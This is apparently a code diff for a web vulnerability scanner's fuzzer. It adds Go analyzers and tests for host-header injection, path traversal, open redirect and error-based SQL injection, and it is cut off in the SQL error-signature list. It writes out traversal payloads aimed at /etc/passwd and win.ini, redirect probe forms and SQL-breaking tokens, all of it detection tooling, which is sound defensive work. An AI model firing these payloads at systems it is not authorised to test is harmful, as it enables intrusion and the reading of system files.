{"crlf-query", "crlf", "query", app.URL + "/crlf?q=" + url.QueryEscape("/home"), []string{"q"}},
|
||||
{"cors-query", "cors", "query", app.URL + "/cors?q=seed", []string{"q"}},
|
||||
{"host_header_injection-query", "host_header_injection", "query", app.URL + "/host?q=seed", []string{"q"}},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
res := runPipeline(t, options, tc.analyzer, tc.part, tc.target, tc.keys)
|
||||
require.True(t, res.analyzerFlag, "analyzer %s must flag the response as vulnerable in the real pipeline", tc.analyzer)
|
||||
require.True(t, res.matched, "the dsl matcher (analyzer == true) must produce a finding for %s", tc.analyzer)
|
||||
require.NotEmpty(t, res.analyzerDetails, "analyzer_details must be populated for %s", tc.analyzer)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestDastPipeline_NoFalsePositive_E2E proves the full pipeline does not raise a
|
||||
// finding against a benign endpoint that merely reflects input.
|
||||
func TestDastPipeline_NoFalsePositive_E2E(t *testing.T) {
|
||||
options := testutils.DefaultOptions
|
||||
testutils.Init(options)
|
||||
|
||||
benign := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprintf(w, "results for %q", r.URL.Query().Get("q"))
|
||||
}))
|
||||
defer benign.Close()
|
||||
|
||||
res := runPipeline(t, options, "sqli_error", "query", benign.URL+"/?q=seed", []string{"q"})
|
||||
require.False(t, res.matched, "benign reflector must not yield a sqli finding")
|
||||
require.False(t, res.analyzerFlag, "analyzer must not flag a benign reflector")
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
// Package hostheader implements a host-header injection analyzer for the
|
||||
// fuzzer.
|
||||
//
|
||||
// It replays the request with a random canary host placed in the Host header
|
||||
// and in the common host-override headers (X-Forwarded-Host, etc.) and flags an
|
||||
// issue when that canary host is reflected back into the response — in the
|
||||
// Location header or as the host of an absolute URL in the body. This is the
|
||||
// primitive behind password-reset poisoning and web-cache poisoning. The canary
|
||||
// host is random, so any reflection is unambiguous and needs no baseline.
|
||||
package hostheader
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
)
|
||||
|
||||
const analyzerName = "host_header_injection"
|
||||
|
||||
// Analyzer implements the analyzers.Analyzer interface for host-header injection.
|
||||
type Analyzer struct{}
|
||||
|
||||
var _ analyzers.Analyzer = &Analyzer{}
|
||||
|
||||
func init() {
|
||||
analyzers.RegisterAnalyzer(analyzerName, &Analyzer{})
|
||||
}
|
||||
|
||||
func (a *Analyzer) Name() string {
|
||||
return analyzerName
|
||||
}
|
||||
|
||||
func (a *Analyzer) ApplyInitialTransformation(data string, params map[string]interface{}) string {
|
||||
return analyzers.ApplyPayloadTransformations(data)
|
||||
}
|
||||
|
||||
// overrideHeaders are the headers (besides Host itself) commonly trusted by
|
||||
// applications/proxies to derive the effective host.
|
||||
var overrideHeaders = []string{
|
||||
"X-Forwarded-Host",
|
||||
"X-Host",
|
||||
"X-Forwarded-Server",
|
||||
"X-HTTP-Host-Override",
|
||||
"Forwarded",
|
||||
}
|
||||
|
||||
var absoluteURLPattern = regexp.MustCompile(`(?i)(?:https?:)?//[^\s"'<>]+`)
|
||||
|
||||
// ReflectsCanary reports whether the canary host appears as the host of the
|
||||
// Location header or of an absolute URL in the body. It is exported and pure so
|
||||
// it can be unit-tested without a network.
|
||||
func ReflectsCanary(body, locationHeader, canaryHost string) bool {
|
||||
if canaryHost == "" {
|
||||
return false
|
||||
}
|
||||
if locationHeader != "" {
|
||||
if u, err := url.Parse(locationHeader); err == nil && strings.EqualFold(u.Hostname(), canaryHost) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
if body == "" {
|
||||
return false
|
||||
}
|
||||
for _, candidate := range absoluteURLPattern.FindAllString(body, -1) {
|
||||
if u, err := url.Parse(candidate); err == nil && strings.EqualFold(u.Hostname(), canaryHost) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Analyze replays the request with canary host overrides and reports reflection.
|
||||
func (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) {
|
||||
if options == nil || options.FuzzGenerated.Component == nil || options.HttpClient == nil {
|
||||
return false, "", nil
|
||||
}
|
||||
gr := options.FuzzGenerated
|
||||
canary := randomCanaryHost()
|
||||
|
||||
defer func() {
|
||||
_ = gr.Component.SetValue(gr.Key, gr.OriginalValue)
|
||||
}()
|
||||
|
||||
// Probe each override header individually, plus a direct Host override.
|
||||
probes := append([]string{"Host"}, overrideHeaders...)
|
||||
for _, header := range probes {
|
||||
rebuilt, err := analyzers.SetValueAndRebuild(gr, gr.OriginalValue)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
if header == "Host" {
|
||||
rebuilt.Host = canary
|
||||
} else {
|
||||
rebuilt.Header.Set(header, overrideHeaderValue(header, canary))
|
||||
}
|
||||
|
||||
options.RateLimit()
|
||||
resp, body, err := analyzers.DoAndReadBody(options.HttpClient, rebuilt)
|
||||
if resp == nil {
|
||||
continue
|
||||
}
|
||||
if err != nil && resp.Body != nil {
|
||||
_ = resp.Body.Close()
|
||||
}
|
||||
location := resp.Header.Get("Location")
|
||||
if ReflectsCanary(body, location, canary) {
|
||||
return true, "host header injection: canary host reflected via " + header + " header", nil
|
||||
}
|
||||
}
|
||||
return false, "", nil
|
||||
}
|
||||
|
||||
func overrideHeaderValue(header, canary string) string {
|
||||
if header == "Forwarded" {
|
||||
return "host=" + canary
|
||||
}
|
||||
return canary
|
||||
}
|
||||
|
||||
func randomCanaryHost() string {
|
||||
return analyzers.RandToken(12) + ".hostcanary.example"
|
||||
}
|
||||
@@ -0,0 +1,145 @@
|
||||
package hostheader
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestAnalyzerRegistered(t *testing.T) {
|
||||
require.NotNil(t, analyzers.GetAnalyzer("host_header_injection"))
|
||||
require.Equal(t, "host_header_injection", (&Analyzer{}).Name())
|
||||
}
|
||||
|
||||
func TestReflectsCanary(t *testing.T) {
|
||||
const canary = "abc123.hostcanary.example"
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
location string
|
||||
want bool
|
||||
}{
|
||||
{
|
||||
name: "canary host in Location header",
|
||||
location: "https://abc123.hostcanary.example/reset?token=x",
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "canary in absolute URL in body",
|
||||
body: `<a href="https://abc123.hostcanary.example/reset">reset</a>`,
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "canary in scheme-relative URL in body",
|
||||
body: `<script src="//abc123.hostcanary.example/app.js"></script>`,
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "canary after userinfo @ in body",
|
||||
body: `redirect to http://[email protected]/`,
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "case-insensitive Location match",
|
||||
location: "https://ABC123.HostCanary.Example/",
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "canary as bare substring is not a hit",
|
||||
body: `comment: abc123.hostcanary.example was mentioned in text`,
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "canary as hostname prefix is not a hit",
|
||||
body: `<a href="https://abc123.hostcanary.example.attacker.example/">reset</a>`,
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "canary as hostname suffix is not a hit",
|
||||
body: `<a href="https://prefix.abc123.hostcanary.example/">reset</a>`,
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "unrelated location",
|
||||
location: "https://legit.example.com/home",
|
||||
body: `<html>nothing</html>`,
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "empty inputs",
|
||||
want: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range tests {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
require.Equal(t, tc.want, ReflectsCanary(tc.body, tc.location, canary))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestReflectsCanaryEmptyCanary(t *testing.T) {
|
||||
require.False(t, ReflectsCanary("//anything/", "https://anything/", ""))
|
||||
}
|
||||
|
||||
func TestRandomCanaryHost(t *testing.T) {
|
||||
h1 := randomCanaryHost()
|
||||
h2 := randomCanaryHost()
|
||||
require.True(t, strings.HasSuffix(h1, ".hostcanary.example"))
|
||||
require.NotEqual(t, h1, h2)
|
||||
}
|
||||
|
||||
func TestOverrideHeadersNonEmpty(t *testing.T) {
|
||||
require.NotEmpty(t, overrideHeaders)
|
||||
}
|
||||
|
||||
func TestForwardedOverrideUsesHostParameter(t *testing.T) {
|
||||
const canary = "abc123.hostcanary.example"
|
||||
require.Equal(t, "host="+canary, overrideHeaderValue("Forwarded", canary))
|
||||
require.Equal(t, canary, overrideHeaderValue("X-Forwarded-Host", canary))
|
||||
}
|
||||
|
||||
func TestAnalyzeUsesRedirectResponseReturnedWithError(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Location", "https://"+r.Host+"/reset")
|
||||
w.WriteHeader(http.StatusFound)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, srv.URL+"/?q=x", nil)
|
||||
require.NoError(t, err)
|
||||
query := component.NewQuery()
|
||||
parsed, err := query.Parse(raw)
|
||||
require.NoError(t, err)
|
||||
require.True(t, parsed)
|
||||
|
||||
client := retryablehttp.NewClient(retryablehttp.DefaultOptionsSingle)
|
||||
client.HTTPClient.CheckRedirect = func(*http.Request, []*http.Request) error {
|
||||
return errors.New("stop redirect")
|
||||
}
|
||||
client.CheckRetry = func(context.Context, *http.Response, error) (bool, error) {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
matched, _, err := (&Analyzer{}).Analyze(&analyzers.Options{
|
||||
FuzzGenerated: fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: query,
|
||||
Key: "q",
|
||||
OriginalValue: "x",
|
||||
},
|
||||
HttpClient: client,
|
||||
})
|
||||
require.NoError(t, err)
|
||||
require.True(t, matched)
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
// Package lfi implements a local file inclusion / path traversal analyzer for
|
||||
// the fuzzer.
|
||||
//
|
||||
// It injects a set of traversal payloads targeting well-known files
|
||||
// (/etc/passwd on *nix, win.ini on Windows) and confirms a hit only when the
|
||||
// response contains a content signature unique to those files. Matching the
|
||||
// actual file contents (e.g. the root: line of /etc/passwd) is a strong,
|
||||
// low-false-positive signal of arbitrary file read.
|
||||
package lfi
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strconv"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
)
|
||||
|
||||
const analyzerName = "lfi"
|
||||
|
||||
// Analyzer implements the analyzers.Analyzer interface for LFI/path traversal.
|
||||
type Analyzer struct{}
|
||||
|
||||
var _ analyzers.Analyzer = &Analyzer{}
|
||||
|
||||
func init() {
|
||||
analyzers.RegisterAnalyzer(analyzerName, &Analyzer{})
|
||||
}
|
||||
|
||||
func (a *Analyzer) Name() string {
|
||||
return analyzerName
|
||||
}
|
||||
|
||||
func (a *Analyzer) ApplyInitialTransformation(data string, params map[string]interface{}) string {
|
||||
return analyzers.ApplyPayloadTransformations(data)
|
||||
}
|
||||
|
||||
// traversalPayloads target /etc/passwd and Windows win.ini using a mix of plain
|
||||
// traversal, nested ("....//") bypasses, URL-encoding and absolute paths.
|
||||
var traversalPayloads = []string{
|
||||
"../../../../../../../../etc/passwd",
|
||||
"....//....//....//....//....//etc/passwd",
|
||||
"..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
|
||||
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
||||
"/etc/passwd",
|
||||
"file:///etc/passwd",
|
||||
"..\\..\\..\\..\\..\\..\\windows\\win.ini",
|
||||
"..%5c..%5c..%5c..%5cwindows%5cwin.ini",
|
||||
"C:\\windows\\win.ini",
|
||||
}
|
||||
|
||||
// fileSignature pairs a target file with a regex that matches content unique
|
||||
// to that file.
|
||||
type fileSignature struct {
|
||||
File string
|
||||
Regex *regexp.Regexp
|
||||
}
|
||||
|
||||
var fileSignatures = []fileSignature{
|
||||
// /etc/passwd: entries like "root:x:0:0:root:/root:/bin/bash". We require a
|
||||
// well-known system account name (root, daemon, nobody, ...) followed by the
|
||||
// full 7-field name:passwd:uid:gid:gecos:home:shell structure. Requiring a
|
||||
// known account — rather than any token — keeps false positives low against
|
||||
// arbitrary colon-delimited content (config/CSV dumps) while staying
|
||||
// unanchored so it still matches when the file is wrapped (e.g. in <pre>).
|
||||
{"/etc/passwd", regexp.MustCompile(`(?i)\b(root|daemon|bin|sys|sync|games|man|lp|mail|news|nobody|www-data|sshd|ftp):[^:\r\n]*:\d+:\d+:[^:\r\n]*:[^:\r\n]*:[^:\r\n]*`)},
|
||||
// Windows win.ini: the [fonts]/[extensions] sections
|
||||
{"win.ini", regexp.MustCompile(`(?i)\[(fonts|extensions|mci extensions|files)\]`)},
|
||||
{"win.ini", regexp.MustCompile(`(?i)for 16-bit app support`)},
|
||||
}
|
||||
|
||||
// MatchFileSignature returns the target file whose content signature appears in
|
||||
// body, if any. It is exported and pure for unit-testing without a network.
|
||||
func MatchFileSignature(body string) (string, bool) {
|
||||
if body == "" {
|
||||
return "", false
|
||||
}
|
||||
for _, sig := range fileSignatures {
|
||||
if sig.Regex.MatchString(body) {
|
||||
return sig.File, true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// Analyze injects traversal payloads and reports LFI when a target file's
|
||||
// content signature appears in a response but not in the baseline.
|
||||
func (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) {
|
||||
if options == nil || options.FuzzGenerated.Component == nil || options.HttpClient == nil {
|
||||
return false, "", nil
|
||||
}
|
||||
gr := options.FuzzGenerated
|
||||
|
||||
defer func() {
|
||||
_ = gr.Component.SetValue(gr.Key, gr.OriginalValue)
|
||||
}()
|
||||
|
||||
// Baseline: if the file signature is already present with the original
|
||||
// value, a later match proves nothing, so bail to avoid false positives.
|
||||
baselineBody, err := analyzers.SendValueAndReadBody(options, gr.OriginalValue)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
if _, matched := MatchFileSignature(baselineBody); matched {
|
||||
return false, "", nil
|
||||
}
|
||||
|
||||
for _, payload := range traversalPayloads {
|
||||
body, err := analyzers.SendValueAndReadBody(options, payload)
|
||||
if err != nil {
|
||||
// A single failed probe (timeout, reset) must not abort the whole
|
||||
// analysis; the remaining payloads may still surface the bug.
|
||||
continue
|
||||
}
|
||||
if file, matched := MatchFileSignature(body); matched {
|
||||
return true, "lfi: contents of " + file + " disclosed via payload " + strconv.Quote(payload), nil
|
||||
}
|
||||
}
|
||||
return false, "", nil
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package lfi
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestAnalyzerRegistered(t *testing.T) {
|
||||
require.NotNil(t, analyzers.GetAnalyzer("lfi"))
|
||||
require.Equal(t, "lfi", (&Analyzer{}).Name())
|
||||
}
|
||||
|
||||
func TestMatchFileSignature(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
wantFile string
|
||||
wantHit bool
|
||||
}{
|
||||
{
|
||||
name: "etc passwd disclosed",
|
||||
body: "root:x:0:0:root:/root:/bin/bash\n" +
|
||||
"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n" +
|
||||
"bin:x:2:2:bin:/bin:/usr/sbin/nologin\n",
|
||||
wantFile: "/etc/passwd",
|
||||
wantHit: true,
|
||||
},
|
||||
{
|
||||
name: "etc passwd single nologin line",
|
||||
body: `<pre>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin</pre>`,
|
||||
wantFile: "/etc/passwd",
|
||||
wantHit: true,
|
||||
},
|
||||
{
|
||||
name: "windows win.ini fonts section",
|
||||
body: "; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n",
|
||||
wantFile: "win.ini",
|
||||
wantHit: true,
|
||||
},
|
||||
{
|
||||
name: "benign html no file",
|
||||
body: `<html><body>Hello world, nothing to see here.</body></html>`,
|
||||
wantHit: false,
|
||||
},
|
||||
{
|
||||
name: "colon separated text that is not passwd",
|
||||
body: `time: 10:30:00 and ratio 4:3:2 here`,
|
||||
wantHit: false,
|
||||
},
|
||||
{
|
||||
name: "empty body",
|
||||
body: ``,
|
||||
wantHit: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range tests {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
file, hit := MatchFileSignature(tc.body)
|
||||
require.Equal(t, tc.wantHit, hit)
|
||||
if tc.wantHit {
|
||||
require.Equal(t, tc.wantFile, file)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestTraversalPayloadsNonEmpty(t *testing.T) {
|
||||
require.NotEmpty(t, traversalPayloads)
|
||||
for _, p := range traversalPayloads {
|
||||
require.NotEmpty(t, p)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
// Package redirect implements an open-redirect analyzer for the fuzzer.
|
||||
//
|
||||
// It injects a unique, non-resolvable canary host using several open-redirect
|
||||
// payload styles (absolute, scheme-relative, backslash tricks) and confirms a
|
||||
// hit when the response redirects to that canary host — either via the Location
|
||||
// header (redirects disabled, the nuclei default) or via the final request URL
|
||||
// (redirects followed). The canary host is random and unresolvable, so a match
|
||||
// is unambiguous and no real third-party traffic leaves the scanner.
|
||||
package redirect
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"strings"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
)
|
||||
|
||||
const analyzerName = "open_redirect"
|
||||
|
||||
// Analyzer implements the analyzers.Analyzer interface for open redirects.
|
||||
type Analyzer struct{}
|
||||
|
||||
var _ analyzers.Analyzer = &Analyzer{}
|
||||
|
||||
func init() {
|
||||
analyzers.RegisterAnalyzer(analyzerName, &Analyzer{})
|
||||
}
|
||||
|
||||
func (a *Analyzer) Name() string {
|
||||
return analyzerName
|
||||
}
|
||||
|
||||
func (a *Analyzer) ApplyInitialTransformation(data string, params map[string]interface{}) string {
|
||||
return analyzers.ApplyPayloadTransformations(data)
|
||||
}
|
||||
|
||||
// GenerateProbes builds open-redirect payloads pointing at canaryHost. It is
|
||||
// exported and pure for unit-testing without a network.
|
||||
func GenerateProbes(canaryHost string) []string {
|
||||
return []string{
|
||||
"https://" + canaryHost + "/",
|
||||
"//" + canaryHost + "/",
|
||||
"https:////" + canaryHost + "/",
|
||||
"/\\" + canaryHost + "/",
|
||||
"https:/" + canaryHost + "/",
|
||||
"https://" + canaryHost + "%2f%2e%2e",
|
||||
}
|
||||
}
|
||||
|
||||
// RedirectsToCanary reports whether either the Location header or the final
|
||||
// request host points at canaryHost. Backslashes are normalized to forward
|
||||
// slashes because browsers treat "/\host" as "//host". It is exported and pure
|
||||
// for testability.
|
||||
func RedirectsToCanary(locationHeader, finalHost, canaryHost string) bool {
|
||||
if canaryHost == "" {
|
||||
return false
|
||||
}
|
||||
if finalHost != "" && strings.EqualFold(finalHost, canaryHost) {
|
||||
return true
|
||||
}
|
||||
if locationHeader == "" {
|
||||
return false
|
||||
}
|
||||
normalized := strings.ReplaceAll(locationHeader, "\\", "/")
|
||||
if u, err := url.Parse(normalized); err == nil {
|
||||
if strings.EqualFold(u.Hostname(), canaryHost) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Analyze injects open-redirect payloads and reports whether the target
|
||||
// redirects to the canary host.
|
||||
func (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) {
|
||||
if options == nil || options.FuzzGenerated.Component == nil || options.HttpClient == nil {
|
||||
return false, "", nil
|
||||
}
|
||||
gr := options.FuzzGenerated
|
||||
canaryHost := randomCanaryHost()
|
||||
|
||||
defer func() {
|
||||
_ = gr.Component.SetValue(gr.Key, gr.OriginalValue)
|
||||
}()
|
||||
|
||||
for _, payload := range GenerateProbes(canaryHost) {
|
||||
rebuilt, err := analyzers.SetValueAndRebuild(gr, payload)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
options.RateLimit()
|
||||
resp, err := options.HttpClient.Do(rebuilt)
|
||||
if resp == nil {
|
||||
continue
|
||||
}
|
||||
location := resp.Header.Get("Location")
|
||||
finalHost := ""
|
||||
if resp.Request != nil && resp.Request.URL != nil {
|
||||
finalHost = resp.Request.URL.Hostname()
|
||||
}
|
||||
if resp.Body != nil {
|
||||
_ = resp.Body.Close()
|
||||
}
|
||||
|
||||
if RedirectsToCanary(location, finalHost, canaryHost) {
|
||||
return true, "open redirect: target redirected to canary host via payload " + payload, nil
|
||||
}
|
||||
if err != nil {
|
||||
// A transport error is expected when redirects are followed to the
|
||||
// unresolvable canary host. If the retained response did not prove
|
||||
// the redirect, continue with the remaining probes.
|
||||
continue
|
||||
}
|
||||
}
|
||||
return false, "", nil
|
||||
}
|
||||
|
||||
// randomCanaryHost returns a random, syntactically valid but non-resolvable
|
||||
// host under a reserved-looking label so it never collides with real hosts and
|
||||
// never generates real third-party traffic.
|
||||
func randomCanaryHost() string {
|
||||
return analyzers.RandToken(12) + ".nucleicanary.invalid"
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
package redirect
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestAnalyzerRegistered(t *testing.T) {
|
||||
require.NotNil(t, analyzers.GetAnalyzer("open_redirect"))
|
||||
require.Equal(t, "open_redirect", (&Analyzer{}).Name())
|
||||
}
|
||||
|
||||
func TestGenerateProbes(t *testing.T) {
|
||||
const canary = "abc123.nucleicanary.invalid"
|
||||
probes := GenerateProbes(canary)
|
||||
require.NotEmpty(t, probes)
|
||||
for _, p := range probes {
|
||||
require.Contains(t, p, canary)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRedirectsToCanary(t *testing.T) {
|
||||
const canary = "abc123.nucleicanary.invalid"
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
location string
|
||||
finalH string
|
||||
want bool
|
||||
}{
|
||||
{
|
||||
name: "absolute Location to canary",
|
||||
location: "https://abc123.nucleicanary.invalid/",
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "scheme-relative Location to canary",
|
||||
location: "//abc123.nucleicanary.invalid/path",
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "backslash trick normalized to canary",
|
||||
location: "/\\abc123.nucleicanary.invalid/",
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "case-insensitive host match",
|
||||
location: "https://ABC123.NucleiCanary.Invalid/",
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "final URL host is canary (followed redirect)",
|
||||
finalH: "abc123.nucleicanary.invalid",
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "redirect to legitimate host is not a hit",
|
||||
location: "https://accounts.example.com/login",
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "relative path redirect is not a hit",
|
||||
location: "/dashboard",
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "canary only as path segment is not a hit",
|
||||
location: "https://example.com/abc123.nucleicanary.invalid",
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "empty inputs",
|
||||
want: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range tests {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
require.Equal(t, tc.want, RedirectsToCanary(tc.location, tc.finalH, canary))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRandomCanaryHost(t *testing.T) {
|
||||
h1 := randomCanaryHost()
|
||||
h2 := randomCanaryHost()
|
||||
require.True(t, strings.HasSuffix(h1, ".nucleicanary.invalid"))
|
||||
require.NotEqual(t, h1, h2)
|
||||
}
|
||||
|
||||
func TestRedirectsToCanaryEmptyCanary(t *testing.T) {
|
||||
require.False(t, RedirectsToCanary("https://anything/", "anything", ""))
|
||||
}
|
||||
|
||||
func TestAnalyzeUsesRedirectResponseReturnedWithError(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Location", r.URL.Query().Get("q"))
|
||||
w.WriteHeader(http.StatusFound)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, srv.URL+"/?q=%2Fdashboard", nil)
|
||||
require.NoError(t, err)
|
||||
query := component.NewQuery()
|
||||
parsed, err := query.Parse(raw)
|
||||
require.NoError(t, err)
|
||||
require.True(t, parsed)
|
||||
|
||||
client := retryablehttp.NewClient(retryablehttp.DefaultOptionsSingle)
|
||||
client.HTTPClient.CheckRedirect = func(*http.Request, []*http.Request) error {
|
||||
return errors.New("stop redirect")
|
||||
}
|
||||
client.CheckRetry = func(context.Context, *http.Response, error) (bool, error) {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
matched, _, err := (&Analyzer{}).Analyze(&analyzers.Options{
|
||||
FuzzGenerated: fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: query,
|
||||
Key: "q",
|
||||
OriginalValue: "/dashboard",
|
||||
},
|
||||
HttpClient: client,
|
||||
})
|
||||
require.NoError(t, err)
|
||||
require.True(t, matched)
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
// Package sqli implements an error-based SQL injection analyzer for the fuzzer.
|
||||
//
|
||||
// It injects a small set of syntax-breaking tokens and looks for database error
|
||||
// signatures that appear only after injection (a baseline request is taken
|
||||
// first, so errors already present on the page do not cause false positives).
|
||||
// Matching a known DBMS error fingerprint is a strong, low-false-positive signal
|
||||
// that user input reaches a SQL query unsanitized.
|
||||
package sqli
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strconv"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
)
|
||||
|
||||
const analyzerName = "sqli_error"
|
||||
|
||||
// Analyzer implements the analyzers.Analyzer interface for error-based SQLi.
|
||||
type Analyzer struct{}
|
||||
|
||||
var _ analyzers.Analyzer = &Analyzer{}
|
||||
|
||||
func init() {
|
||||
analyzers.RegisterAnalyzer(analyzerName, &Analyzer{})
|
||||
}
|
||||
|
||||
func (a *Analyzer) Name() string {
|
||||
return analyzerName
|
||||
}
|
||||
|
||||
func (a *Analyzer) ApplyInitialTransformation(data string, params map[string]interface{}) string {
|
||||
return analyzers.ApplyPayloadTransformations(data)
|
||||
}
|
||||
|
||||
// breakingPayloads are tokens that tend to break SQL string/numeric contexts
|
||||
// and surface a parser error when the input is concatenated into a query.
|
||||
var breakingPayloads = []string{
|
||||
"'",
|
||||
"\"",
|
||||
"')",
|
||||
"';",
|
||||
"\")",
|
||||
"`",
|
||||
"'\"",
|
||||
"\\",
|
||||
}
|
||||
|
||||
// dbmsErrorSignature pairs a DBMS name with a regex that matches one of its
|
||||
// characteristic error strings. Patterns are a curated subset of the
|
||||
// well-known error-based SQLi fingerprints.
|
||||
type dbmsErrorSignature struct {
|
||||
DBMS string
|
||||
Regex *regexp.Regexp
|
||||
}
|
||||
|
||||
var dbmsErrorSignatures = []dbmsErrorSignature{
|
||||
{"MySQL", regexp.MustCompile(`(?i)SQL syntax.*?MySQL`)},
|
||||
{"MySQL", regexp.MustCompile(`(?i)check the manual that corresponds to your (MySQL|MariaDB) server version`)},
|
||||
{"MySQL", regexp.MustCompile(`(?i)valid MySQL result`)},
|
||||
{"MySQL", regexp.MustCompile(`(?i)com\.mysql\.jdbc`)},
|
||||
{"MySQL", regexp.MustCompile(`(?i)MySqlException`)},
|
||||
{"MariaDB", regexp.MustCompile(`(?i)MariaDB server version for the right syntax`)},
|
||||
{"PostgreSQL", regexp.MustCompile(`(?i)PostgreSQL.*?ERROR`)},
|
||||
{"PostgreSQL", regexp.MustCompile(`(?i)pg_query\(\):`)},
|
||||
{"PostgreSQL", regexp.MustCompile(`(?i)unterminated quoted string at or near`)},
|
||||
{"PostgreSQL", regexp.MustCompile(`(?i)org\.postgresql\.util\.PSQLException`)},
|
||||
{"Microsoft SQL Server", regexp.MustCompile(`(?i)Unclosed quotation mark after the character string`)},
|
||||
{"Microsoft SQL Server", regexp.MustCompile(`(?i)Microsoft SQL (Server|Native Client)`)},
|
||||
